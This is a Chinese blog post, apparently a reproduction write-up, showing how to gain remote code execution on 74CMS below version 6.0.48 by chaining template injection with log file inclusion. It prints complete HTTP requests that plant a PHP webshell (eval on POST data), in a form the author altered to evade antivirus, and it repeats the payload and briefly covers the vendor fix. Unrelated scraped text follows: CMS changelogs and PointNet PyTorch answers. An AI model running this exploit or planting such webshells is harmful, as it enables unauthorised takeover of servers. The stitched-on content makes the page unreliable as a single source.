(环境搭建+复现)74CMS模版注入+文件包含getshell

0x00 简介

骑士CMS人才招聘系统是基于PHP+MYSQL的免费网站管理系统源码,提供完善的人才招聘网站建设方案。

0x01 漏洞概述

骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士 CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

0x02 影响版本

骑士 CMS < 6.0.48

0x03 环境搭建

1、下载最新版74cms。

https://www.74cms.com/download/index.html

 

2、使用phpstudy进行搭建。

进入upload目录即可进入安装程序。

0x04 漏洞利用

1、首先通过日志写入Payload。这么写payload因为测试环境我的Defender报毒了,就简单变形一下即可绕过。

POST /74cms_Home_Setup_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1

variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php \$a=\$_POST['x'];\$b='a';eval(\$\$b);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

 

2、包含日志。默认日志位置为data/Runtime/Logs/Home/Y_M_D.log

POST /74cms_Home_Setup_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1

variable=1&tpl=data/Runtime/Logs/Home/20_12_16.log

3、此时根目录下就会生成shell.php文件。

4、连接即可。

0x05 修复方式

http://www.74cms.com/news/show-2497.html

从官方公布的信息来看,官方修复了两个地方:

1、/Application/Common/Controller/BaseController.class.php

左图修复前,右图为修复后。

$view->parseTemplate对$tpl参数进行处理,并对处理结果$tpl_file进行is_file判断。后续主要判断传入的是否为文件。

2、/ThinkPHP/Library/Think/View.class.php

左图修复前,右图为修复后。

主要更改的是,新版本日志不再包含模板名称。也就无法写入payload。

 

0x06 Tips:

payload:

variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php \$a=\$_POST['x'];\$b='a';eval(\$\$b);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

将PHP代码写入文件时,$符号需要使用反斜杠进行转义,否则会被识别为变量从而报错。

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
骑士cms人才系统是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才招聘系统。软件具执行效率高、模板自由切换、后台管理功能方便等诸多优秀特点。全部代码都为骑士网络原创,有着完全的知识产权。凭借骑士网络的不断创新精神和认真的工作态度,骑士人才系统已成国内同类软件中的最好用的人才系统骑士cms人才系统 v4.1.23 bulid2017.02.17 更新内容: 修复 后台测试邮件发送失败提示问题 修复 后台‘邮件营销’发送问题 修复 后台APP二维码问题 修复 后台简历列表,刷新时间问题 修复 投递简历后弹窗提示,二维码问题 修复 职位详情页,点击‘请登录后查看联系方式’无效问题 修复 下载简历,选微信支付,跳转页面问题 修复 下载简历/刷新职位,选支付宝支付,成功后回跳页面问题 修复 邀请注册加积分,需绑定手机或邮箱问题 修复 伪静态下,分页链接问题 修复 分站下,简历/职位搜索,关健字加地区搜索结果,地区错误问题 修复 新闻资讯列表排序问题 修复 android和ios二维码扫描下载app问题 修复 前台套餐排序字段无效 修复 发布职位默认勾选中接收简历短信通知 修复 简历二维码生成问题 修复 简历详情页自动识别PC/触屏端 修复 触屏版链接错误问题 修复 企业刷新职位,微信付款后职位没有刷新问题 修复 后台‘安全设置’链接错误问题 修复 分站下部分服务器环境分页链接错误问题 修复 后台‘下载简历单价’无法修改问题 修复 后台‘简历列表’,数据重复问题 修复 第三方登录全部关闭后登录显示问题 修复 第三方登录全部关闭后会员中心任务显示问题 修复 PC端导航数量问题 修复 APP_DUBG关闭下,后台清除缓存问题 修复 地图找工作分页链接问题 修复 伪静态规则下,原始链接前自动加当前链接问题 修复 后台HR工具箱列表,文件路径问题 修复 公告排序错误 修复 帮助中心排序错误 修复 工作、培训经历中描述字段不好填 修复 教育、工作、培训经历中开始和结束时间异常提示 修复 帮助首页无信息问题 修复 分页关键词乱码问题 修复 企业下载简历积分不足,未弹出引导消费问题 修复 企业重新认证营业执照表单清空 修复 4.1.19补丁用户登录/退出问题 修复 4.1.19补丁伪静态下QQ登录问题 修复 微信关健字职位搜索列表,链接错误问题 修复 后台重置顾问后,企业顾问没有重新指定问题 修复 后台删除顾问后,该顾问下企业没有重新指定顾问题 修复 后台顾问题投拆,审核状态问题 修复 系统配置项多维数组设置问题 修复 暂停中的企业会员职位可以搜索问题 修复 暂停中的个人会员简历可以搜索问题 修复 职场资讯列表页项部选项卡数量显示不统一问题 修复 分站二级域名重复问题 修复 企业收到简历列表‘包含停招职位’选项无效问题 修复 后台职位搜索设置,关闭全文搜索无效问题 修复 企业会员默认套餐‘收到简历的联系方式免费查看’状态问题 修复 ie7下弹出框头部、底部不能自适应宽度的问题 修正 分页乱码问题 修正 微信图文消息头条大图上传路径与调取路径不一致问题 修复 登录情况下点击申请职位出现快速登录窗口的问题 修复 下订单短信通知无法发送问题(阿里大于) 修复 后台选择原始链接后,部分页面显示伪静态问题 修复 部分数据库版本下,后台职位列表页SQL报错 新增 企业营业执照审核结果微信模板消息通知 优化 企业职位列表添加薪资字段 优化 微信支付接口代码优化 优化 企业会员中心收到简历管理增加搜人才引导 优化 会员操作日志来源 优化 申请职位微信通知模板更新 优化 触屏资讯详情微信分享内容动态获取 优化 后台新增简历照片审核优化 后台照片简历加事件提醒标志 优化 后台简历附件列表,加预览链接 优化 后台时间显示 优化 首页选择分站弹出框内分站列表右边距调整 优化 分站选择页面快速筛选 优化 职位修改页面所属部门的最大字数和后台统一 优化 未配置短信或未开启短信,快速创简历问题 优化 分站提档弹窗问题 优化 企业营业执照认证,去除‘注册号’,‘法人代表’ 优化 简历索引关健字(精准),去除‘个人描述’字段内容 优化 企业简介字数改为20~1000字 优化 后台开启强制认证营业执照后,保存企业基本资料引导跳转到认证页 优化 套餐图标可在后台上传修改 优化 企业logo上传后可清除 优化 删除腾讯微博分享按钮 优化 快速注册极验遮罩层 优化 去除部分默认伪静态链接自动加Home问题 优化 SEESION存放路径 优化 是否邮件接收投递的简历选项位置调整 优化 数据库备份,文件说明版权标识问题 优化 后台‘职位定阅器’单位问题 优化 后台‘下载简历单价’问题
骑士cms(74CMS)高效人才招聘系统 v5.0.1 正式版  更新日志  新增:后台增加跳转页面 新增:短信预警提醒,方便客户及时充值 新增:企业与个人账号通用 新增:未付费且登录的企业单独呈现,方便追踪客户 新增:后台统计增加列表页。方便追踪客户 新增:导出简历增加时间段、年龄段、性别等条件筛选 新增:简历增加项目经验 新增:PC端支持https 新增:对接企查查 新增:关注公众号领红包,快速吸粉 新增:专题招聘会触屏版 新增:事业单位招考触屏版 新增:企业专访触屏版 新增:内置节日主题 优化:表单填写 优化:提交操作增加等待提醒 优化:套餐改为点数,对简历进行分级收费 优化:小程序深度优化 优化:系统日志显示企业名称与个人名字,方便追踪客户 骑士PHP人才系统简介 骑士PHP人才系统(74cms)是一项基于PHP MYSQL为核心开发的一套免费 开源专业人才系统。软件具执行效率高、模板自由切换、后台管理功能方便等诸多优秀特点。凭借骑士网络的不断创新精神和认真的工作态度,相信骑士能够为您带来全新的使用体验! 骑士PHP人才系统功能特征: 多模式,更加灵活 用户可以自由选择积分模式和服务套餐模式,积分模式更灵活,套餐模式更直观。 模板机制,轻松改版 全新的模板引擎机制,界面完全与程序分离,管理员可轻松制作模板和在后台切换模板。 在线支付,无人值守 集成网上支付,自动收款并开通相关服务,自动充值,自动开通。 搜索优化,完美植入 灵活自定义URL,自定义目录结构,自定义关键字,有效提高搜索引擎排名。 集成火车头,自动采集 定时定点采集各大招聘网站的信息,实时自动发布信息。 使用简单,功能强大 软件使用简单灵活,功能强大,更多优秀模块陆续开发中。 骑士PHP人才系统前台页面: 骑士PHP人才系统后管理 后台路径:/admin/admin_index.php 用户名与密码:admin(安装时可以设置) 后台页面: 相关阅读 同类推荐:人才招聘系统
### 回答1: 好的,以下是使用PyTorch复现PointNet++的步骤: 1. 安装PyTorch和其他必要的库,如numpy、scipy、h5py等。 2. 下载PointNet++的代码和数据集。可以从官方GitHub仓库下载代码,数据集可以从官方网站下载。 3. 将数据集转换为PyTorch可以处理的格式。可以使用h5py库读取数据集,然后将数据转换为PyTorch张量。 4. 编写模型代码。PointNet++的模型代码可以在PointNet++的GitHub仓库中找到。将代码转换为PyTorch版本并进行必要的修改。 5. 训练模型。使用PyTorch的优化器和损失函数训练模型。可以使用PyTorch的DataLoader加载数据集,并使用PyTorch的GPU加速训练过程。 6. 测试模型。使用测试集测试模型的性能。可以使用PyTorch的评估函数计算模型的准确率和其他指标。 7. 调整模型。根据测试结果调整模型的参数和架构,以提高模型的性能。 以上是使用PyTorch复现PointNet++的基本步骤。需要注意的是,这只是一个大致的指导,具体的实现过程可能会因为数据集和模型的不同而有所不同。 ### 回答2: PointNet 是一种用于点云数据的深度学习模型,其对点云进行全局池化(global pooling)以及局部特征学习(local feature learning)的方法使得其在各种场景中取得了非常好的结果。本文将介绍如何使用 PyTorch 复现 PointNet 模型。 首先,我们需要准备数据。PointNet 接收的输入是点云,我们可以通过采样或者转换方法将 mesh 数据转换为点云数据。在转换为点云后,我们可以将点云转换为 numpy array,并使用 PyTorch 的 DataLoader 进行数据预处理。在这里我们使用 ModelNet40 数据集进行实验。 接下来,我们需要定义 PointNet 模型的结构。PointNet 包括两个编码器和一个分类器。编码器用于从点云中提取特征信息,分类器用于将提取的特征映射到具体的分类标签。这里我们定义一个函数 PointNetCls,将编码器和分类器都封装在这个函数中。 ```python import torch.nn as nn import torch.nn.functional as F import torch.optim as optim class PointNetCls(nn.Module): def __init__(self, k=40): super(PointNetCls, self).__init__() self.k = k self.conv1 = nn.Conv1d(3, 64, 1) self.conv2 = nn.Conv1d(64, 128, 1) self.conv3 = nn.Conv1d(128, 1024, 1) self.fc1 = nn.Linear(1024, 512) self.fc2 = nn.Linear(512, 256) self.fc3 = nn.Linear(256, k) def forward(self, x): batchsize = x.size()[0] x = F.relu(self.conv1(x)) x = F.relu(self.conv2(x)) x = F.relu(self.conv3(x)) x = torch.max(x, 2, keepdim=True)[0] x = x.view(-1, 1024) x = F.relu(self.fc1(x)) x = F.relu(self.fc2(x)) x = self.fc3(x) return F.log_softmax(x, dim=1) ``` 具体来讲,我们先使用三个卷积层提取特征信息,然后使用 max pooling 进行池化,最后通过三个全连接层将提取的特征映射到具体的分类标签。特别的,我们将最后一层的输出使用 softmax 函数来进行分类。 训练过程如下: ```python device = torch.device("cuda" if torch.cuda.is_available() else "cpu") model = PointNetCls().to(device) optimizer = optim.Adam(model.parameters(), lr=0.001) for epoch in range(300): model.train() for batch_id, (data, label) in enumerate(train_loader): optimizer.zero_grad() data, label = data.to(device), label.to(device) pred = model(data) loss = F.nll_loss(pred, label) loss.backward() optimizer.step() print(f'Epoch {epoch}: Training Loss: {loss.item()}') model.eval() correct = 0 for data, label in test_loader: data, label = data.to(device), label.to(device) pred = model(data) pred = pred.data.max(1)[1] correct += pred.eq(label.data).cpu().sum() accuracy = correct.item() / float(len(test_loader.dataset)) print(f'Epoch {epoch}: Testing Accuracy: {accuracy}') ``` 可以看到,在训练阶段我们使用 Adam 优化器来优化模型,并使用负对数似然对数函数作为损失函数。在测试阶段我们将模型设置为评价模式,并使用预测结果和真实标签的比对结果计算准确率。 通过以上步骤,我们已经完成了一个 PointNet 的 PyTorch 实现。当然,为了提高准确率我们还可以对模型结构进行优化,如引入 dropout、batch normalization 等结构,或者将模型拓展到 PointNet++ 等更加优秀的架构。 ### 回答3: PointNet是一种针对点云数据进行分类和分割的深度学习模型,其在处理三维几何数据方面具有很好的效果,也被广泛应用于许多领域。为了复现PointNet模型,我们可以使用Pytorch框架进行实现。下面是针对PointNet复现的详细步骤: 一、准备数据 首先需要准备点云数据集,我们可以使用ShapeNet数据集中的某些部分进行测试。我们需要将点云数据转化为numpy数组形式,并将其划分为训练集和验证集。 二、数据预处理 在进行训练工作之前,我们需要将点云数据进行预处理,包括点云的标准化和噪声过滤等操作。处理后的数据可以使用dataloader以batch的形式进行加载。 三、搭建模型 我们可以按照PointNet的论文中的模型结构进行搭建。线性变换、最大池化和ReLU激活层的堆叠是构成模型的主要部分。我们需要使用Pytorch中定义模型的方法实现PointNet模型。 四、训练模型 我们可以使用Pytorch自带的优化器,如Adam优化器来训练PointNet模型。在每个epoch结束后,我们可以计算模型在验证集上的精度和准确度,以评估模型性能。 五、测试模型 完成模型训练后,我们可以使用Pytorch中的模型预测方法对新的未见数据进行分类和分割预测。 这些就是复现PointNet模型的详细步骤。此外,还需要注意一些细节问题,例如使用GPU加速训练、采用KNN算法处理最近邻等。借助Pytorch框架,我们可以轻松地实现PointNet模型,从而应用到更多的实际场景中。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值